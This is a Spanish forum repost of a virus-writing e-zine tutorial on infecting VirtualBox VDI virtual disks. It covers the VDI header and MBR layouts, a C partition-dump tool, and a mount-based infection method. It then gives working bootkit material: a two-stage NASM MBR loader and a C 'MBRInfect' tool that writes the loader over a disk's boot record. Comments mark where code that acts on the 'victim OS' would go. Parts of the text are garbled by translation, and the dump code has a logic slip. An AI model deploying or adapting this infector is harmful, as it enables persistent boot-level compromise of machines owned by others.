2) Estructura del VDI
3) MBR & Tabla de Particiones
4) Poner todo junto: VDIDump tool
5) Infección
6) Viejo Método: boot record infection
7) Agradecimientos & Referencias
1) Introducción
El uso de la tecnología de virtualización está aumentando más y más hoy en día, principalmente debido a su entorno de prueba seguro y capacidad para ejecutar otro sistema sin el uso de multi-arranque. En este artículo vamos a hablar de VirtualBox infección ([Enlace externo eliminado para invitados]), discos virtuales. ¡Vamos! Lo siento por mi mal Inglés, no es mi idioma principal.
2) Estructura de un VDI:
Un archivo VDI es un disco virtual de VirtualBox, que puede ser de tamaño dinámico(expandido) o un tamaño fijo. Vamos a hablar de disco duro virtual de tamaño fijo , ya que se puede acceder de manera más sencilla.
Esta es la estructura de un disco VDI:
Código: Seleccionar todo
------------------------------------
| VDIPREHEADER |
------------------------------------
| VDIHEADER |
------------------------------------
| DATA |
------------------------------------
Esta es la definición de VDIPREHEADER de VDICore.h:
Código: Seleccionar todo
typedef struct VDIPREHEADER
{
/** Just text info about image type, for eyes only. */
char szFileInfo[64];
/** The image signature (VDI_IMAGE_SIGNATURE). */
uint32_t u32Signature;
/** The image version (VDI_IMAGE_VERSION). */
uint32_t u32Version;
} VDIPREHEADER, *PVDIPREHEADER;
Hay tres versiones de VDIHEADER:
VDIHEADER0
VDIHEADER1
VDIHEADER1PLUS
Vamos a utilizar sólo VDIHEADER1, porque en mi imagen de disco virtual de prueba que se utiliza en el encabezado, pero lo que está escrito aquí se puede aplicar a los otros dos tipos también.
Esta es la definición de VDIHEADER1 de VDICore.h:
Código: Seleccionar todo
typedef struct VDIHEADER1
{
/** Size of this structure in bytes. */
uint32_t cbHeader;
/** The image type (VDI_IMAGE_TYPE_*). */
uint32_t u32Type;
/** Image flags (VDI_IMAGE_FLAGS_*). */
uint32_t fFlags;
/** Image comment. (UTF-8) */
char szComment[VDI_IMAGE_COMMENT_SIZE];
/** Offset of Blocks array from the begining of image file.
* Should be sector-aligned for HDD access optimization. */
uint32_t offBlocks;
/** Offset of image data from the begining of image file.
* Should be sector-aligned for HDD access optimization. */
uint32_t offData;
/** Legacy image geometry (previous code stored PCHS there). */
VDIDISKGEOMETRY LegacyGeometry;
/** Was BIOS HDD translation mode, now unused. */
uint32_t u32Dummy;
/** Size of disk (in bytes). */
uint64_t cbDisk;
/** Block size. (For instance VDI_IMAGE_BLOCK_SIZE.) Should be a power of 2! */
uint32_t cbBlock;
/** Size of additional service information of every data block.
* Prepended before block data. May be 0.
* Should be a power of 2 and sector-aligned for optimization reasons. */
uint32_t cbBlockExtra;
/** Number of blocks. */
uint32_t cBlocks;
/** Number of allocated blocks. */
uint32_t cBlocksAllocated;
/** UUID of image. */
RTUUID uuidCreate;
/** UUID of image's last modification. */
RTUUID uuidModify;
/** Only for secondary images - UUID of previous image. */
RTUUID uuidLinkage;
/** Only for secondary images - UUID of previous image's last modification. */
RTUUID uuidParentModify;
} VDIHEADER1, *PVDIHEADER1;
...
seek_vdi(OffData+456*512);
access_sector();
...
Hay que comprobar el miembro u32Type también nos dice si el disco virtual es de tamaño fijo o expandido de forma dinámica. Aquí se muestra el uso de OffData:
Código: Seleccionar todo
------------------------------------
| VDIPREHEADER |
------------------------------------
| VDIHEADER |
------------------------------------
| DATA |
| .... |
| OffData -> MBR |
------------------------------------
3) MBR & Tabla de Particiones
Entendimos como obtener la ubicación del sector 1 (MBR),ahora veremos su estructura:
Código: Seleccionar todo
------------------------------------------ 0
| | \
| CODE AREA | Los primeros 446 bytes contienen el código de arranque
| | /
------------------------------------------ 446
| | \
| PARTITIONS TABLE | Esta está formada por cuatro entradas de 16 bytes
| | /
------------------------------------------ 510
| | \
| BOOT RECORD SIGNATURE |La firma del registro de arranque ocupa los últimos 2 bytes, | | / que se debe establecer en AA55h.
------------------------------------------ 512
Código: Seleccionar todo
-----------------------------------------
| PARTITION ENTRY 1 | 16 bytes
-----------------------------------------
| PARTITION ENTRY 2 | 16 bytes
-----------------------------------------
| PARTITION ENTRY 3 | 16 bytes
-----------------------------------------
| PARTITION ENTRY 4 | 16 bytes
-----------------------------------------
Código: Seleccionar todo
-------------------------------------- 0
| | \
| BOOT INDICATOR | Si este campo está establecido en 80 h es la partición activa,
| | / si no es así, está establecido a 00h
-------------------------------------- 1
| | \
| STARTING CHS VALUE | Este campo nos indica la ubicación del primer sector de
| | / la partición si está dentro de los primeros 1024 cilindros
-------------------------------------- 4
| | \
| PARTITION TYPE | Tipo de partición (el sistema de archivos de la partición (FAT16, FAT32, NTFS, | | / EXT2,EXT3, etcetera)
-------------------------------------- 5
| | \
| ENDING CHS VALUE | Este campo nos indica la ubicación del último sector de la partición si está | | / dentro de los primeros 1024 cilindros
-------------------------------------- 8
| | \
| STARTING SECTOR | Este campo nos dice que el primer sector de la partición, a contar desde el | | / sector 0 (con 4 bytes)
-------------------------------------- 12
| | \
| PARTITION SIZE IN SECTORS | Este campo nos dice que el tamaño de la partición de los sectores (con 4 bytes)
| | /
-------------------------------------- 16
4) Poner todo junto: VDIDump tool
He probado esta herramienta sólo en mi Ubuntu Linux.
DumpVDI.c
Código: Seleccionar todo
/* A tool to dump partitions table inside a virtual disk (vdi file) by WarGame/DoomRiderz */
#include <stdio.h>
#include <string.h>
/* from VDICore.h and VBoxHDD-new.h*/
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;
typedef struct VDIDISKGEOMETRY
{
/** Cylinders. */
uint32_t cCylinders;
/** Heads. */
uint32_t cHeads;
/** Sectors per track. */
uint32_t cSectors;
/** Sector size. (bytes per sector) */
uint32_t cbSector;
} VDIDISKGEOMETRY, *PVDIDISKGEOMETRY;
typedef struct VDIPREHEADER
{
/** Just text info about image type, for eyes only. */
char szFileInfo[64];
/** The image signature (VDI_IMAGE_SIGNATURE). */
uint32_t u32Signature;
/** The image version (VDI_IMAGE_VERSION). */
uint32_t u32Version;
} VDIPREHEADER, *PVDIPREHEADER;
#define VDI_IMAGE_COMMENT_SIZE 256
typedef struct VDIHEADER1
{
/** Size of this structure in bytes. */
uint32_t cbHeader;
/** The image type (VDI_IMAGE_TYPE_*). */
uint32_t u32Type;
/** Image flags (VDI_IMAGE_FLAGS_*). */
uint32_t fFlags;
/** Image comment. (UTF-8) */
char szComment[VDI_IMAGE_COMMENT_SIZE];
/** Offset of Blocks array from the begining of image file.
* Should be sector-aligned for HDD access optimization. */
uint32_t offBlocks;
/** Offset of image data from the begining of image file.
* Should be sector-aligned for HDD access optimization. */
uint32_t offData;
/** Legacy image geometry (previous code stored PCHS there). */
VDIDISKGEOMETRY LegacyGeometry;
/** Was BIOS HDD translation mode, now unused. */
uint32_t u32Dummy;
/** Size of disk (in bytes). */
uint64_t cbDisk;
/** Block size. (For instance VDI_IMAGE_BLOCK_SIZE.) Should be a power of 2! */
uint32_t cbBlock;
/** Size of additional service information of every data block.
* Prepended before block data. May be 0.
* Should be a power of 2 and sector-aligned for optimization reasons. */
uint32_t cbBlockExtra;
/** Number of blocks. */
uint32_t cBlocks;
/** Number of allocated blocks. */
uint32_t cBlocksAllocated;
/** UUID of image. */
char uuidCreate[16];
/** UUID of image's last modification. */
char uuidModify[16];
/** Only for secondary images - UUID of previous image. */
char uuidLinkage[16];
/** Only for secondary images - UUID of previous image's last modification. */
char uuidParentModify[16];
} VDIHEADER1, *PVDIHEADER1;
/** Get VDI major version from combined version. */
#define VDI_GET_VERSION_MAJOR(uVer) ((uVer) >> 16)
/** Get VDI minor version from combined version. */
#define VDI_GET_VERSION_MINOR(uVer) ((uVer) & 0xffff)
typedef struct MBR /* my definition for master boot record */
{
char boot_code[446];
unsigned char partitions[4][16];
unsigned short signature;
}MBR;
/****************/
void ExtractPartition(char *f,int offdata,int part_num,int start_sect,int size_sect)
{
FILE *vdi = NULL,*part = NULL;
char ex_name[128],buf[512];
unsigned int size = size_sect*512;
if((vdi = fopen(f,"r")) == NULL)
{
printf("can't open %s\n",f);
return;
}
sprintf(ex_name,"partition_%d____%d_%d.raw",part_num,start_sect,size_sect);
if((part = fopen(ex_name,"a+")) == NULL)
{
fclose(vdi);
printf("can't open %s\n",ex_name);
return;
}
fseek(vdi,offdata,SEEK_SET);
fseek(vdi,start_sect*512,SEEK_CUR);
printf("Extracting...\n");
while(size > 0)
{
fread(buf,512,1,vdi);
fwrite(buf,512,1,part);
size -= 512;
}
fclose(vdi);
fclose(part);
printf("Extraction done to %s\n",ex_name);
}
void DumpVDIPartitionTable(char *f, int extract)
{
FILE *fp = fopen(f,"r");
VDIPREHEADER pre;
VDIHEADER1 h1;
MBR mbr;
int offdata = 0,p_cnt,sect_after_mbr,sect_in_partition;
if(fp == NULL)
{
printf("can't open %s\n",f);
}
else
{
fread(&pre,sizeof(VDIPREHEADER),1,fp);
if(VDI_GET_VERSION_MAJOR(pre.u32Version) == 1 && VDI_GET_VERSION_MINOR(pre.u32Version) == 1)
{
if(h1.u32Type == 1)
{
printf("%s is not a fixed size disk\n",f);
}
else
{
fread(&h1,sizeof(VDIHEADER1),1,fp);
if(h1.offData != 0)
{
printf("Offdata (%s) -> %d\n",f,h1.offData);
rewind(fp);
fseek(fp,h1.offData,SEEK_SET);
fread(&mbr,sizeof(MBR),1,fp);
fclose(fp); printf("MBR signature -> 0x%x\n",mbr.signature);
for(p_cnt = 0;p_cnt < 4;p_cnt++)
{
memcpy(§_after_mbr,mbr.partitions[p_cnt]+8,4);
memcpy(§_in_partition,mbr.partitions[p_cnt]+12,4);
printf("Partition #%d -> status: %10s - type: 0x%.2x - partition begins at sector: %9d - sectors in partition: %9d\n",p_cnt,(mbr.partitions[p_cnt][0] == 0x80) ? "bootable" : "not active",mbr.partitions[p_cnt][4],sect_after_mbr,sect_in_partition);
if(extract)
ExtractPartition(f,h1.offData,p_cnt,sect_after_mbr,sect_in_partition);
}
}
else
{
printf("header and offdata unknown in %s\n",f);
}
}
}
else
{
printf("Header not supported in %s\n",f);
}
}
}
int main(int argc,char *argv[])
{
int a_cnt,extract;
if(argc == 1)
{
printf("Dump partitions table from VDI (virtual disk) files by WarGame/DoomRiderz\n");
printf("Usage: [-d | -e] <vdi file 1> <vdi file 2> ... <vdi file n> \n",argv[0]);
printf("Options:\n");
printf("-d only print the partitions table on stdout\n");
printf("-e print the partitions table on stdout and extract the partitions one by one and write them on files\n");
return 1;
}
else
{
if(strcmp(argv[1],"-d") == 0)
{
extract = 0;
}
else if(strcmp(argv[1],"-e") == 0)
{
extract = 1;
}
else
{
printf("Invalid option\n");
return 1;
}
for(a_cnt = 2;a_cnt < argc;a_cnt++)
DumpVDIPartitionTable(argv[a_cnt],extract);
return 0;
}
}
Código: Seleccionar todo
wargame@wargame-desktop:~/my stuff/vdi$ sudo ./DumpVDI -d /root/.VirtualBox/VDI/xpsp0.vdi
Offdata (/root/.VirtualBox/VDI/xpsp0.vdi) -> 13312
MBR signature -> 0xaa55
Partition #0 -> status: bootable - type: 0x07 - partition begins at sector: 63 - sectors in partition: 6322113 Partition #1 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0
Partition #2 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0
Partition #3 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0
La forma más fácil de infectar un disco virtual sólo requiere el comando "mount" de Linux, de hecho, es capaz de acceder a un montón de sistemas de archivos utilizando los controladores que ofrece el kernel. Por lo tanto, el proceso de infección con esta forma tan simple es la siguiente:
1) Encontrar el disco virtual para infectar
2) Obtener offData y la tabla de particiones de la misma
3) Obtener la ubicación del primer sector de la partición que queremos montar
4) Ejecutar el comando "mount"
5) Acceder a la partición montada y hacer la infección real
6) Desmontar esta
Así, por ejemplo, si queremos montar e infectar la primera partición ext3 (suponemos que el primer sector de su partición es el sector 63) de un disco virtual con un offData lo que equivale a 13.312, podemos utilizar el siguiente comando:
sudo mount -t ext3 -o ro,loop,offset=45568 the_vdi_file.vdi /our_mount_point
Donde 45568 es igual a 13 312 63 * 512.
De esta forma es rápido y requiere que el código no tanto por la parte más difícil está hecho por el comando "mount". Pero tiene una gran limitación: no es portable. De hecho, si no tenemos el comando "mount" y los privilegios de la derecha que no puede montar e infectar el disco virtual. A continuación, Windows no ofrece esa posibilidad, ya que puede montar sólo un número limitado de sistemas de archivos (FAT16, FAT32, NTFS). Podemos utilizar esta forma sólo en algunas circunstancias limitadas. Hay otra manera, pero se requeriría para implementar nuestro sistema de archivos conductores de nuestra infección, por lo que podría infectar a un vdi sin requerimientos externos.
6) Viejo Método: boot record infection
Hay otra manera aceptable para infectar nuestro disco virtual, se puede infectar el registro maestro de arranque propio. El MBR de hecho es el lugar donde se encuentra el código que hace que arranque el SO, si tomamos el control del mismo que puede poseer el sistema a un nivel muy bajo. A la edad de DOS, los virus multipartitos, fueron capaces de propagarse a través de disquetes, de hecho, podría conectar la interrupción 13h (esta interrupción controla el acceso a los discos) y así interceptar todos los accesos a disco. Así que cuando un usuario inicia su PC con el disquete infectado el proceso podría llevarse a cabo de nuevo. Esto fue posible porque el DOS no tiene ningún tipo de control de acceso al hardware. Los sistemas operativos modernos como Windows NT, Unix (BSD, MacOS), GNU / Linux utilizan su propia interfaz de hechos de los controladores de dispositivos para acceder a la capa de hardware y tecnología a fin de que no sea posible.
Nota: El uso de esta forma se puede infectar variable de disco virtual de tamaño sin problemas.
En este artículo vamos a hablar de backdoorizar el registro de inicio maestro del disco virtual. Nuestro código, de hecho, no tiene la posibilidad de propagación. Aquí vamos a utilizar un código de ejemplo que se compone de dos partes (escrito en nasm):
1) La primera parte de nuestro cargador se encuentra en el sector 1 (MBR), que será cargado por la BIOS en la dirección 0000:7C00. Cuando se hace con el control se imprime un msg en la pantalla y espera a que el usuario presione cualquier tecla. Cuando esto ocurre, la carga de código del sector 2 de la segunda parte del loader en la dirección 0000:1000 h, y luego salta a ella.
2) La segunda parte del cargador lee el sector 3 que contiene el MBR original y luego se carga en memoria en la dirección 0000:7C00 (para asegurarse de que funciona, de hecho cada gestor de arranque asume que se cargan desde esta dirección) y luego salta a ella.
3) El gestor de arranque original toma el control y hace que arranque el SO.
loader.asm (the code located on the sector 1)
Código: Seleccionar todo
the first stage of our loader
ORG 7c00h
BITS 16
jmp boot
msg db 'boot record infection on virtual disk! Press any key to continue',13,10,0
msg1 db 'failed to read the loader1!',13,10,0
boot: ; setup the stack
xor ax,ax
mov ds,ax
mov es,ax
mov ss,ax
mov sp,7c00h
setup_writing:
mov ah,0eh
mov bx,0007
xor si,si
print_msg: ; print our msg on the screen
mov al, [msg+si]
test al,al
jz wait_key
int 10h
inc si
jmp print_msg
wait_key:
mov ah,00h
int 16h
;; here we could put other code that performs other actions depending of the victim OS
load_loader1:
mov dl,80h
xor ax,ax
int 13h ; reset drive
mov es,ax ; read at
mov bx,1000H ; 0000:1000
mov ah,02h ; read function
mov al,01h ; read only one sector
mov cx,02h ; sector 2
mov dh,0
mov dl,80h
int 13h ; read the sector
jc failed_to_read
jump_to_loader1:
db 0Eah ; jump at
dw 1000h ; memory location
dw 0 ; 0000:1000h
failed_to_read:
mov ah,0eh
mov bx,0007
xor si,si
p:
mov al, [msg1+si]
test al,al
jz exit
int 10h
inc si
jmp p
exit:
ret
times 510-($-$$) db 0
dw 0aa55h
Código: Seleccionar todo
; the second stage of the loader
ORG 1000h
BITS 16
jmp boot
msg1 db 'failed to read the original boot sector!',13,10,0
boot: ; setup the stack
xor ax,ax
mov ds,ax
mov es,ax
mov ss,ax
mov sp,1000h
;; here we could put other code that performs other actions depending of the victim OS
load_original_mbr:
mov dl,80h
xor ax,ax
int 13h ; reset drive
mov es,ax ; read at
mov bx,7c00H ; 0000:7c00
mov ah,02h ; read function
mov al,01h ; read only one sector
mov cx,03h ; sector 3
mov dh,0
mov dl,80h
int 13h ; read the sector
jc failed_to_read
jump_to_original_mbr: ; here the original mbr gets the control
db 0Eah ; jump at
dw 7c00h ; memory location
dw 0 ; 0000:7c00h
failed_to_read:
mov ah,0eh
mov bx,0007
xor si,si
p:
mov al, [msg1+si]
test al,al
jz exit
int 10h
inc si
jmp p
exit:
ret
times 510-($-$$) db 0
dw 0aa55h ; this is useless here
Aquí una sencilla herramienta para infectar a un VDI con mi cargador:
MBRInfect.c
Código: Seleccionar todo
/* A simple tool to infect the MBR of a virtual disk by WarGame/DoomRiderz */
#include <stdio.h>
#include <string.h>
main(int argc,char *argv[])
{
FILE *in = NULL,*in1 = NULL,*out = NULL;
char buf[512];
char buf1[512];
char original[512];
if(argv[1] == NULL || argv[2] == NULL)
{
printf("Usage: %s <vdi file> <offdata of the vdi>\n",argv[0]);
return -1;
}
if((in = fopen("loader.bin","r")) == NULL)
{
printf("can't open loader.bin\n");
return -1;
}
if((out = fopen(argv[1],"r+")) == NULL)
{
printf("can't open %s\n",argv[1]);
return -1;
}
if((in1 = fopen("loader1.bin","r")) == NULL)
{
printf("can't open loader1.bin\n");
return -1;
}
fread(buf,512,1,in);
fread(buf1,512,1,in1);
fseek(out,atoi(argv[2]),SEEK_SET); /* seek to MBR pointed by offData */
fread(original,512,1,out); /* read the original mbr */
fseek(out,-512,SEEK_CUR);
memcpy(buf+446,original+446,64); /* put the partition table in our loader */
fwrite(buf,512,1,out); /* write loader (sector 1) */
fwrite(buf1,512,1,out); /* write loader 1 (sector 2) */
fwrite(original,512,1,out); /* write original mbr (sector 3) */
fclose(in); fclose(out);
fclose(in1);
printf("Done\n");
return 0;
}
Referencias:
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
Para más información, visitar:
[Enlace externo eliminado para invitados]
Sacado de EOF-Project...espero que les sirva...
Saludos ![/color]